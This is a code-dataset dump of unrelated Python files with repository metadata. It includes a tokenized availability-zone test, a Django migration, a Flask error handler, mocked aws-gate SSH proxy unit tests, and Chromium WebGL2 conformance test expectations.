op|'.' name|'get_instance_availability_zone' op|'(' name|'self' op|'.' name|'context' op|',' name|'fake_inst' op|')' op|')' newline|'\n' nl|'\n' DECL|member|test_get_instance_availability_zone_from_aggregate dedent|'' name|'def' name|'test_get_instance_availability_zone_from_aggregate' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' string|'"""Test get availability zone from aggregate by given an instance."""' newline|'\n' name|'host' op|'=' string|"'host170'" newline|'\n' name|'service' op|'=' name|'self' op|'.' name|'_create_service_with_topic' op|'(' string|"'compute'" op|',' name|'host' op|')' newline|'\n' name|'self' op|'.' name|'_add_to_aggregate' op|'(' name|'service' op|',' name|'self' op|'.' name|'agg' op|')' newline|'\n' nl|'\n' name|'fake_inst' op|'=' name|'objects' op|'.' name|'Instance' op|'(' name|'host' op|'=' name|'host' op|',' nl|'\n' name|'availability_zone' op|'=' name|'self' op|'.' name|'availability_zone' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'self' op|'.' name|'availability_zone' op|',' nl|'\n' name|'az' op|'.' name|'get_instance_availability_zone' op|'(' name|'self' op|'.' name|'context' op|',' name|'fake_inst' op|')' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'.' name|'object' op|'(' name|'az' op|'.' name|'_get_cache' op|'(' op|')' op|',' string|"'get'" op|')' newline|'\n' DECL|member|test_get_instance_availability_zone_cache_differs name|'def' name|'test_get_instance_availability_zone_cache_differs' op|'(' name|'self' op|',' name|'cache_get' op|')' op|':' newline|'\n' indent|' ' name|'host' op|'=' string|"'host170'" newline|'\n' name|'service' op|'=' name|'self' op|'.' name|'_create_service_with_topic' op|'(' string|"'compute'" op|',' name|'host' op|')' newline|'\n' name|'self' op|'.' name|'_add_to_aggregate' op|'(' name|'service' op|',' name|'self' op|'.' name|'agg' op|')' newline|'\n' name|'cache_get' op|'.' name|'return_value' op|'=' name|'self' op|'.' name|'default_az' newline|'\n' nl|'\n' name|'fake_inst' op|'=' name|'objects' op|'.' name|'Instance' op|'(' name|'host' op|'=' name|'host' op|',' nl|'\n' name|'availability_zone' op|'=' name|'self' op|'.' name|'availability_zone' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' nl|'\n' name|'self' op|'.' name|'availability_zone' op|',' nl|'\n' name|'az' op|'.' name|'get_instance_availability_zone' op|'(' name|'self' op|'.' name|'context' op|',' name|'fake_inst' op|')' op|')' newline|'\n' nl|'\n' DECL|member|test_get_instance_availability_zone_no_host dedent|'' name|'def' name|'test_get_instance_availability_zone_no_host' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' string|'"""Test get availability zone from instance if host not set."""' newline|'\n' name|'fake_inst' op|'=' name|'objects' op|'.' name|'Instance' op|'(' name|'host' op|'=' name|'None' op|',' name|'availability_zone' op|'=' string|"'inst-az'" op|')' newline|'\n' nl|'\n' name|'result' op|'=' name|'az' op|'.' name|'get_instance_availability_zone' op|'(' name|'self' op|'.' name|'context' op|',' name|'fake_inst' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|"'inst-az'" op|',' name|'result' op|')' newline|'\n' nl|'\n' DECL|member|test_get_instance_availability_zone_no_host_no_az dedent|'' name|'def' name|'test_get_instance_availability_zone_no_host_no_az' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' string|'"""Test get availability zone if neither host nor az is set."""' newline|'\n' name|'fake_inst' op|'=' name|'objects' op|'.' name|'Instance' op|'(' name|'host' op|'=' name|'None' op|',' name|'availability_zone' op|'=' name|'None' op|')' newline|'\n' nl|'\n' name|'result' op|'=' name|'az' op|'.' name|'get_instance_availability_zone' op|'(' name|'self' op|'.' name|'context' op|',' name|'fake_inst' op|')' newline|'\n' name|'self' op|'.' name|'assertIsNone' op|'(' name|'result' op|')' newline|'\n' dedent|'' dedent|'' endmarker|'' end_unit

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null

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1

0

7

c059d2f185b5dafc600d8726e5c78f2a679dd8ad

71

py

Python

command/test/integration/fake_repository/commit_005/a.py

s-pace/pyre-check

2b71dcf22e4672567cfe0dfef356f11646d66244

[ "MIT" ]

5

2019-02-14T19:46:47.000Z

2020-01-16T05:48:45.000Z

command/test/integration/fake_repository/commit_005/a.py

s-pace/pyre-check

2b71dcf22e4672567cfe0dfef356f11646d66244

[ "MIT" ]

4

2022-02-15T02:42:33.000Z

2022-02-28T01:30:07.000Z

command/test/integration/fake_repository/commit_005/a.py

s-pace/pyre-check

2b71dcf22e4672567cfe0dfef356f11646d66244

[ "MIT" ]

2

2019-02-14T19:46:23.000Z

2020-07-13T03:53:04.000Z

#!/usr/bin/env python3 import b def foo() -> int: return b.bar()

10.142857

22

0.591549

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0.225352

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0.745455

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0.333333

true

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null

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1

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7

2215a0a692e7097758940c570b8c3679dbb7ce6e

5,315

py

Python

blogs/migrations/0007_auto_20210828_0834.py

zain-Z/humimp

fd7e4e211dce62639e2fce2dd9f9506240a7a3d9

[ "MIT" ]

null

blogs/migrations/0007_auto_20210828_0834.py

zain-Z/humimp

fd7e4e211dce62639e2fce2dd9f9506240a7a3d9

[ "MIT" ]

null

blogs/migrations/0007_auto_20210828_0834.py

zain-Z/humimp

fd7e4e211dce62639e2fce2dd9f9506240a7a3d9

[ "MIT" ]

null

# Generated by Django 3.0.6 on 2021-08-28 06:34 import blogs.validators import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blogs', '0006_auto_20210825_1547'), ] operations = [ migrations.AlterField( model_name='blog', name='blogs_date', field=models.DateField(blank=True, default=datetime.date.today), ), migrations.AlterField( model_name='blog', name='blogs_desc', field=models.CharField(blank=True, default='', max_length=300), ), migrations.AlterField( model_name='blog', name='blogs_image', field=models.FileField(blank=True, default='', upload_to='background/blogs/', validators=[blogs.validators.validate_image_extension]), ), migrations.AlterField( model_name='blog', name='blogs_location', field=models.CharField(blank=True, default='', max_length=300), ), migrations.AlterField( model_name='storyandblog', name='image_bg_blogs', field=models.FileField(blank=True, default='', upload_to='background/stories_and_blogs/', validators=[blogs.validators.validate_image_extension]), ), migrations.AlterField( model_name='storyandblog', name='image_bg_stories', field=models.FileField(blank=True, default='', upload_to='background/stories_and_blogs/', validators=[blogs.validators.validate_image_extension]), ), migrations.AlterField( model_name='storyandblog', name='text_bg_blogs', field=models.CharField(blank=True, default='', max_length=300), ), migrations.AlterField( model_name='storyandblog', name='text_bg_stories', field=models.CharField(blank=True, default='', max_length=300), ), migrations.AlterField( model_name='storydetail', name='story_date', field=models.DateField(blank=True, default=datetime.date.today), ), migrations.AlterField( model_name='storydetail', name='story_desc1', field=models.CharField(blank=True, default='', max_length=300), ), migrations.AlterField( model_name='storydetail', name='story_desc2', field=models.CharField(blank=True, default='', max_length=300), ), migrations.AlterField( model_name='storydetail', name='story_desc3', field=models.CharField(blank=True, default='', max_length=300), ), migrations.AlterField( model_name='storydetail', name='story_desc4', field=models.CharField(blank=True, default='', max_length=300), ), migrations.AlterField( model_name='storydetail', name='story_desc5', field=models.CharField(blank=True, default='', max_length=300), ), migrations.AlterField( model_name='storydetail', name='story_desc6', field=models.CharField(blank=True, default='', max_length=300), ), migrations.AlterField( model_name='storydetail', name='story_desc7', field=models.CharField(blank=True, default='', max_length=300), ), migrations.AlterField( model_name='storydetail', name='story_image_one', field=models.FileField(blank=True, default='', upload_to='background/stories_detail/', validators=[blogs.validators.validate_image_extension]), ), migrations.AlterField( model_name='storydetail', name='story_image_three', field=models.FileField(blank=True, default='', upload_to='background/stories_detail/', validators=[blogs.validators.validate_image_extension]), ), migrations.AlterField( model_name='storydetail', name='story_image_two', field=models.FileField(blank=True, default='', upload_to='background/stories_detail/', validators=[blogs.validators.validate_image_extension]), ), migrations.AlterField( model_name='storydetail', name='story_location', field=models.CharField(blank=True, default='', max_length=300), ), migrations.AlterField( model_name='storydetail', name='story_name', field=models.CharField(blank=True, default='', max_length=300), ), migrations.AlterField( model_name='team', name='teams_desc', field=models.CharField(blank=True, default='', max_length=300), ), migrations.AlterField( model_name='team', name='teams_image', field=models.FileField(blank=True, default='', upload_to='background/team/', validators=[blogs.validators.validate_image_extension]), ), migrations.AlterField( model_name='team', name='teams_name', field=models.CharField(blank=True, default='', max_length=300), ), ]

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false

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null

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1

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null

0

10

2246a564d58ca90cd85ef9d55725cd62710f98c4

188

py

Python

app/routes/errors.py

zalando-zmon/zmon-slo-metrics

f2e823b861af2f449d1fd72cced74cf26b3aee94

[ "Apache-2.0" ]

8

2017-02-21T09:45:01.000Z

2020-09-18T00:09:42.000Z

app/routes/errors.py

ThorbjoernG/service-level-reporting

d9ec7dca3fee1614bf39cb46af9c0cc8bfbd805e

[ "Apache-2.0" ]

148

2017-02-20T08:52:32.000Z

2020-03-10T09:43:40.000Z

app/routes/errors.py

lfroment0/service-level-reporting

29d6d0664762c76eb5aa7000a8c191c32cc2c015

[ "Apache-2.0" ]

12

2017-02-20T07:24:21.000Z

2019-09-27T12:32:33.000Z

from flask import jsonify, make_response def rate_limit_exceeded(e): return make_response(jsonify(title='Rate limit exceeded', detail='Rate limit exceeded. Too many requests'), 429)

31.333333

116

0.781915

27

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0.188811

0.356643

0

0.018293

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0

null

0

1

0

1

0

null

0

1

0

1

0

7

225011995916e16a3304b4fb6ec8c54eb071795f

5,196

py

Python

tests/unit/test_ssh_proxy.py

ckornacker/aws-gate

9c5b797986c5973d811d578161293a102dfdb51d

[ "BSD-3-Clause" ]

369

2018-11-20T16:00:27.000Z

2022-03-30T21:36:41.000Z

tests/unit/test_ssh_proxy.py

ckornacker/aws-gate

9c5b797986c5973d811d578161293a102dfdb51d

[ "BSD-3-Clause" ]

1,234

2018-11-19T00:02:38.000Z

2022-03-31T04:02:33.000Z

tests/unit/test_ssh_proxy.py

ckornacker/aws-gate

9c5b797986c5973d811d578161293a102dfdb51d

[ "BSD-3-Clause" ]

35

2019-01-04T22:52:39.000Z

2022-03-30T21:36:43.000Z

import pytest from aws_gate.ssh_proxy import SshProxySession, ssh_proxy def test_create_ssh_proxy_session(ssm_mock, instance_id): sess = SshProxySession(instance_id=instance_id, ssm=ssm_mock) sess.create() assert ssm_mock.start_session.called def test_terminate_ssh_proxy_session(ssm_mock, instance_id): sess = SshProxySession(instance_id=instance_id, ssm=ssm_mock) sess.create() sess.terminate() assert ssm_mock.terminate_session.called def test_open_ssh_proxy_session(mocker, instance_id, ssm_mock): m = mocker.patch("aws_gate.session_common.execute_plugin", return_value="output") sess = SshProxySession(instance_id=instance_id, ssm=ssm_mock) sess.open() assert m.called def test_ssh_proxy_session_context_manager(ssm_mock, instance_id): with SshProxySession(instance_id=instance_id, ssm=ssm_mock): pass assert ssm_mock.start_session.called assert ssm_mock.terminate_session.called def test_ssh_proxy_session( mocker, instance_id, ssh_key, get_instance_details_response, config ): mocker.patch("aws_gate.ssh_proxy.get_aws_client") mocker.patch("aws_gate.ssh_proxy.get_aws_resource") mocker.patch("aws_gate.ssh_proxy.query_instance", return_value=instance_id) mocker.patch("aws_gate.ssh_proxy.SshKey", return_value=ssh_key) mocker.patch("aws_gate.ssh_proxy.SshKeyUploader", return_value=mocker.MagicMock()) mocker.patch( "aws_gate.ssh_proxy.get_instance_details", return_value=get_instance_details_response, ) session_mock = mocker.patch( "aws_gate.ssh_proxy.SshProxySession", return_value=mocker.MagicMock() ) mocker.patch("aws_gate.decorators.is_existing_profile", return_value=True) mocker.patch("aws_gate.decorators._plugin_exists", return_value=True) mocker.patch("aws_gate.decorators.execute_plugin", return_value="1.1.23.0") ssh_proxy( config=config, instance_name=instance_id, profile_name="default", region_name="eu-west-1", ) assert session_mock.called def test_ssh_proxy_exception_invalid_profile(mocker, instance_id, ssh_key, config): mocker.patch("aws_gate.ssh_proxy.get_aws_client") mocker.patch("aws_gate.ssh_proxy.get_aws_resource") mocker.patch("aws_gate.ssh_proxy.query_instance", return_value=instance_id) mocker.patch("aws_gate.ssh_proxy.SshKey", return_value=ssh_key) mocker.patch("aws_gate.decorators.is_existing_region", return_value=True) mocker.patch("aws_gate.decorators._plugin_exists", return_value=True) mocker.patch("aws_gate.decorators.execute_plugin", return_value="1.1.23.0") with pytest.raises(ValueError): ssh_proxy( config=config, profile_name="invalid-profile", instance_name=instance_id, region_name="eu-west-1", ) def test_ssh_proxy_exception_invalid_region(mocker, instance_id, ssh_key, config): mocker.patch("aws_gate.ssh_proxy.get_aws_client") mocker.patch("aws_gate.ssh_proxy.get_aws_resource") mocker.patch("aws_gate.ssh_proxy.query_instance", return_value=instance_id) mocker.patch("aws_gate.ssh_proxy.SshKey", return_value=ssh_key) mocker.patch("aws_gate.decorators.is_existing_profile", return_value=True) mocker.patch("aws_gate.decorators._plugin_exists", return_value=True) mocker.patch("aws_gate.decorators.execute_plugin", return_value="1.1.23.0") with pytest.raises(ValueError): ssh_proxy( config=config, region_name="invalid-region", instance_name=instance_id, profile_name="default", ) def test_ssh_proxy_exception_unknown_instance_id(mocker, ssh_key, instance_id, config): mocker.patch("aws_gate.ssh_proxy.get_aws_client") mocker.patch("aws_gate.ssh_proxy.get_aws_resource") mocker.patch("aws_gate.ssh_proxy.query_instance", return_value=None) mocker.patch("aws_gate.ssh_proxy.SshKey", return_value=ssh_key) mocker.patch("aws_gate.decorators._plugin_exists", return_value=True) mocker.patch("aws_gate.decorators.execute_plugin", return_value="1.1.23.0") mocker.patch("aws_gate.decorators.is_existing_profile", return_value=True) mocker.patch("aws_gate.decorators.is_existing_region", return_value=True) with pytest.raises(ValueError): ssh_proxy( config=config, instance_name=instance_id, profile_name="default", region_name="eu-west-1", ) def test_ssh_proxy_without_config(mocker, ssh_key, instance_id, empty_config): mocker.patch("aws_gate.ssh_proxy.get_aws_client") mocker.patch("aws_gate.ssh_proxy.get_aws_resource") mocker.patch("aws_gate.ssh_proxy.query_instance", return_value=None) mocker.patch("aws_gate.ssh_proxy.SshKey", return_value=ssh_key) mocker.patch("aws_gate.decorators._plugin_exists", return_value=True) mocker.patch("aws_gate.decorators.execute_plugin", return_value="1.1.23.0") with pytest.raises(ValueError): ssh_proxy( config=empty_config, instance_name=instance_id, profile_name="default", region_name="eu-west-1", )

37.927007

87

0.739992

718

5,196

4.980501

0.094708

0.0783

0.152685

0.196309

0.864933

0.842562

0.777405

0.763143

0.700224

0.687081

0

0.006585

0.152425

5,196

136

88

38.205882

0.805404

0

0.660377

0

0.278291

0.25154

0

0.056604

1

0.084906

false

0.009434

0.018868

0

0.103774

0

null

0

1

0

null

0

7

97e626c62b6e43f607c4d64a05a7555888c680a0

55,888

py

Python

src/content/test/gpu/gpu_tests/webgl2_conformance_expectations.py

yang-guangliang/osv-free

b81fee48bc8898fdc641a2e3c227957ed7e6445e

[ "Apache-2.0" ]

2

2021-05-24T13:52:28.000Z

2021-05-24T13:53:10.000Z

src/content/test/gpu/gpu_tests/webgl2_conformance_expectations.py

yang-guangliang/osv-free

b81fee48bc8898fdc641a2e3c227957ed7e6445e

[ "Apache-2.0" ]

null

src/content/test/gpu/gpu_tests/webgl2_conformance_expectations.py

yang-guangliang/osv-free

b81fee48bc8898fdc641a2e3c227957ed7e6445e

[ "Apache-2.0" ]

3

2018-03-12T07:58:10.000Z

2019-08-31T04:53:58.000Z

# Copyright (c) 2015 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. from gpu_tests.webgl_conformance_expectations import WebGLConformanceExpectations # See the GpuTestExpectations class for documentation. class WebGL2ConformanceExpectations(WebGLConformanceExpectations): def __init__(self, conformance_path, url_prefixes=None, is_asan=False): super(WebGL2ConformanceExpectations, self).__init__( conformance_path, url_prefixes=url_prefixes, is_asan=is_asan) def SetExpectations(self): # =================================== # Extension availability expectations # =================================== # It's expected that not all extensions will be available on all platforms. # Having a test listed here is not necessarily a problem. # Skip these, rather than expect them to fail, to speed up test # execution. The browser is restarted even after expected test # failures. self.Skip('WebglExtension_WEBGL_compressed_texture_astc', ['win', 'mac', 'linux']) self.Skip('WebglExtension_WEBGL_compressed_texture_atc', ['win', 'mac', 'linux']) self.Skip('WebglExtension_WEBGL_compressed_texture_etc', ['win', 'mac', 'linux']) self.Skip('WebglExtension_WEBGL_compressed_texture_etc1', ['win', 'mac', 'linux']) self.Skip('WebglExtension_WEBGL_compressed_texture_pvrtc', ['win', 'mac', 'linux']) self.Skip('WebglExtension_WEBGL_compressed_texture_s3tc_srgb', ['win', 'mac', 'linux']) # ======================== # Conformance expectations # ======================== # Too slow (take about one hour to run) self.Skip('deqp/functional/gles3/builtinprecision/*.html', bug=619403) # All platforms. self.Flaky('conformance2/query/occlusion-query.html', bug=603168) self.Fail('conformance2/glsl3/tricky-loop-conditions.html', bug=483282) self.Fail('conformance2/rendering/depth-stencil-feedback-loop.html', bug=660844) # WebGL 2.0.1 self.Fail('conformance2/rendering/rendering-sampling-feedback-loop.html', bug=660844) # WebGL 2.0.1 self.Fail('conformance2/textures/misc/' + 'integer-cubemap-specification-order-bug.html', bug=483282) # owner:cwallez, test might be buggy self.Fail('conformance/textures/misc/tex-sub-image-2d-bad-args.html', bug=625738) self.Fail('conformance/glsl/misc/uninitialized-local-global-variables.html', bug=1966) # angle bug ID self.Fail('conformance2/glsl3/uninitialized-local-global-variables.html', bug=1966) # angle bug ID # Windows only. self.Fail('conformance2/rendering/blitframebuffer-outside-readbuffer.html', ['win', 'd3d11'], bug=644740) self.Fail('conformance2/textures/misc/tex-base-level-bug.html', ['win', 'd3d11'], bug=705865) # Win / NVidia self.Flaky('deqp/functional/gles3/fbomultisample*', ['win', 'nvidia', 'd3d11'], bug=631317) self.Fail('conformance2/rendering/' + 'draw-with-integer-texture-base-level.html', ['win', 'nvidia', 'd3d11'], bug=679639) # Win10 / NVIDIA Quadro P400 / D3D11 flaky failures self.Fail('deqp/functional/gles3/transformfeedback/' + 'basic_types_interleaved_lines.html', ['win10', ('nvidia', 0x1cb3), 'd3d11'], bug=680754) self.Fail('deqp/functional/gles3/transformfeedback/' + 'basic_types_interleaved_triangles.html', ['win10', ('nvidia', 0x1cb3), 'd3d11'], bug=680754) self.Fail('deqp/functional/gles3/transformfeedback/' + 'basic_types_separate_lines.html', ['win10', ('nvidia', 0x1cb3), 'd3d11'], bug=680754) self.Fail('deqp/functional/gles3/transformfeedback/' + 'basic_types_separate_triangles.html', ['win10', ('nvidia', 0x1cb3), 'd3d11'], bug=680754) self.Fail('deqp/functional/gles3/transformfeedback/' + 'random_interleaved_lines.html', ['win10', ('nvidia', 0x1cb3), 'd3d11'], bug=680754) self.Fail('deqp/functional/gles3/transformfeedback/' + 'random_interleaved_triangles.html', ['win10', ('nvidia', 0x1cb3), 'd3d11'], bug=680754) self.Fail('deqp/functional/gles3/transformfeedback/' + 'random_separate_lines.html', ['win10', ('nvidia', 0x1cb3), 'd3d11'], bug=680754) self.Fail('deqp/functional/gles3/transformfeedback/' + 'random_separate_triangles.html', ['win10', ('nvidia', 0x1cb3), 'd3d11'], bug=680754) self.Fail('deqp/functional/gles3/transformfeedback/interpolation_flat.html', ['win10', ('nvidia', 0x1cb3), 'd3d11'], bug=680754) self.Flaky('conformance/textures/image_bitmap_from_video/' + 'tex-2d-rgba-rgba-unsigned_short_5_5_5_1.html', ['win10', ('nvidia', 0x1cb3), 'd3d11'], bug=728670) self.Flaky('conformance/textures/image_bitmap_from_video/' + 'tex-2d-rgba-rgba-unsigned_short_4_4_4_4.html', ['win10', ('nvidia', 0x1cb3), 'd3d11'], bug=728670) self.Flaky('conformance2/textures/video/*', ['win10', ('nvidia', 0x1cb3), 'd3d11'], bug=728670) self.Flaky('conformance2/textures/image_bitmap_from_video/*', ['win10', ('nvidia', 0x1cb3), 'd3d11'], bug=728670) self.Flaky('conformance/extensions/oes-texture-half-float-with-video.html', ['win10', ('nvidia', 0x1cb3), 'd3d11'], bug=728670) # Win / NVIDIA / OpenGL self.Fail('conformance2/glsl3/vector-dynamic-indexing-nv-driver-bug.html', ['win', 'nvidia', 'opengl'], bug=693090) self.Fail('conformance2/glsl3/' + 'vector-dynamic-indexing-swizzled-lvalue.html', ['win', 'nvidia', 'opengl'], bug=709874) # Win / AMD self.Fail('conformance2/rendering/blitframebuffer-stencil-only.html', ['win', 'amd', 'd3d11'], bug=483282) # owner:jmadill # Keep a separate set of failures for the R7 240, since it can use a new # and updated driver. The older drivers won't ever get fixes from AMD. # Use ['win', ('amd', 0x6613)] for the R7 240 devices. # Have seen this time out. Think it may be because it's currently # the first test that runs in the shard, and the browser might not # be coming up correctly. self.Flaky('deqp/functional/gles3/multisample.html', ['win', ('amd', 0x6613)], bug=687374) # Win / Intel self.Fail('conformance2/glsl3/' + 'texture-offset-uniform-texture-coordinate.html', ['win', 'intel', 'd3d11'], bug=662644) # WebGL 2.0.1 self.Skip('conformance2/textures/misc/copy-texture-image.html', ['win', 'intel', 'd3d11'], bug=617449) # Seems to cause the harness to fail immediately afterward self.Skip('conformance2/textures/video/tex-2d-rgba16f-rgba-half_float.html', ['win', 'intel', 'd3d11'], bug=648337) self.Flaky('deqp/functional/gles3/lifetime.html', ['win', 'intel', 'd3d11'], bug=620379) self.Skip('deqp/functional/gles3/texturespecification/' + 'teximage3d_depth_pbo.html', ['win', 'intel', 'd3d11'], bug=617449) self.Flaky('deqp/functional/gles3/textureformat/unsized_3d.html', ['win', 'intel', 'd3d11'], bug=614418) # These tests seem to crash flakily. It's best to leave them as skip # until we can run them without GPU hangs and crashes. self.Skip('deqp/functional/gles3/textureshadow/2d_array_*.html', ['win', 'intel', 'd3d11'], bug=666392) # Win 10 / Intel self.Fail('deqp/functional/gles3/fbocolorbuffer/clear.html', ['win10', 'intel', 'd3d11', 'no_passthrough'], bug=483282) # Intel HD 530 self.Fail('conformance2/textures/misc/angle-stuck-depth-textures.html', ['win', 'intel', 'd3d11'], bug=680797) self.Fail('deqp/functional/gles3/fboinvalidate/format_00.html', ['win', 'intel', 'd3d11'], bug=680797) self.Fail('deqp/functional/gles3/fboinvalidate/format_01.html', ['win', 'intel', 'd3d11'], bug=680797) self.Fail('deqp/functional/gles3/fboinvalidate/format_02.html', ['win', 'intel', 'd3d11'], bug=680797) self.Fail('deqp/functional/gles3/framebufferblit/' + 'default_framebuffer_03.html', ['win', 'intel', 'd3d11'], bug=680797) self.Fail('deqp/functional/gles3/framebufferblit/' + 'default_framebuffer_04.html', ['win', 'intel', 'd3d11'], bug=680797) self.Fail('deqp/functional/gles3/framebufferblit/' + 'default_framebuffer_06.html', ['win', 'intel', 'd3d11'], bug=680797) # It's unfortunate that these suppressions need to be so broad, but it # looks like the D3D11 device can be lost spontaneously on this # configuration while running basically any test. self.Flaky('conformance/*', ['win', 'intel', 'd3d11'], bug=628395) self.Flaky('conformance2/*', ['win', 'intel', 'd3d11'], bug=628395) self.Flaky('deqp/*', ['win', 'intel', 'd3d11'], bug=628395) # Passthrough command decoder / D3D11 self.Fail('conformance/textures/image_bitmap_from_video/*', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance/textures/video/*', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance/textures/misc/texture-corner-case-videos.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/image_bitmap_from_video/*', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/video/*', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/glsl3/no-attribute-vertex-shader.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/rendering/clearbuffer-sub-source.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/canvas/tex-2d-rg8-rg-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/canvas/tex-2d-rg16f-rg-half_float.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/canvas/tex-2d-rg16f-rg-float.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/canvas/tex-2d-rg32f-rg-float.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/canvas/' + 'tex-2d-rg8ui-rg_integer-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/canvas/' + 'tex-2d-rgb8ui-rgb_integer-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/canvas/' + 'tex-2d-rgba8ui-rgba_integer-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/canvas_sub_rectangle/' + 'tex-2d-rg8-rg-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/canvas_sub_rectangle/' + 'tex-2d-rg16f-rg-half_float.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/canvas_sub_rectangle/' + 'tex-2d-rg16f-rg-float.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/canvas_sub_rectangle/' + 'tex-2d-rg32f-rg-float.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/canvas_sub_rectangle/' + 'tex-2d-rg8ui-rg_integer-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/canvas_sub_rectangle/' + 'tex-2d-rgb8ui-rgb_integer-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/canvas_sub_rectangle/' + 'tex-2d-rgba8ui-rgba_integer-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/webgl_canvas/' + 'tex-2d-rg8-rg-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/webgl_canvas/' + 'tex-2d-rg16f-rg-half_float.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/webgl_canvas/' + 'tex-2d-rg16f-rg-float.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/webgl_canvas/' + 'tex-2d-rg32f-rg-float.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/webgl_canvas/' + 'tex-2d-rg8ui-rg_integer-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/webgl_canvas/' + 'tex-2d-rgb8ui-rgb_integer-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/webgl_canvas/' + 'tex-2d-rgba8ui-rgba_integer-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/image_bitmap_from_canvas/' + 'tex-2d-rg8-rg-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/image_bitmap_from_canvas/' + 'tex-2d-rg16f-rg-half_float.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/image_bitmap_from_canvas/' + 'tex-2d-rg16f-rg-float.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/image_bitmap_from_canvas/' + 'tex-2d-rg32f-rg-float.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/image_bitmap_from_canvas/' + 'tex-2d-rg8ui-rg_integer-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/image_bitmap_from_canvas/' + 'tex-2d-srgb8-rgb-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/image_bitmap_from_canvas/' + 'tex-2d-rgb8ui-rgb_integer-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/image_bitmap_from_canvas/' + 'tex-2d-srgb8_alpha8-rgba-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/image_bitmap_from_canvas/' + 'tex-2d-rgba8ui-rgba_integer-unsigned_byte.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance/glsl/misc/shaders-with-name-conflicts.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('deqp/data/gles3/shaders/preprocessor.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/reading/read-pixels-from-fbo-test.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Skip('conformance2/textures/misc/' + 'copy-texture-image-webgl-specific.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Skip('conformance2/reading/read-pixels-pack-parameters.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Skip('conformance2/reading/read-pixels-into-pixel-pack-buffer.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/reading/format-r11f-g11f-b10f.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance2/textures/misc/' + 'tex-image-with-bad-args-from-dom-elements.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance/misc/uninitialized-test.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance/reading/read-pixels-test.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('conformance/textures/misc/copy-tex-image-and-sub-image-2d.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('deqp/functional/gles3/fbocolorbuffer/clear.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('deqp/functional/gles3/fboinvalidate/sub.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('deqp/functional/gles3/shaderbuiltinvar.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('deqp/functional/gles3/framebufferblit/' + 'default_framebuffer_*.html', ['win', 'passthrough', 'd3d11'], bug=602688) 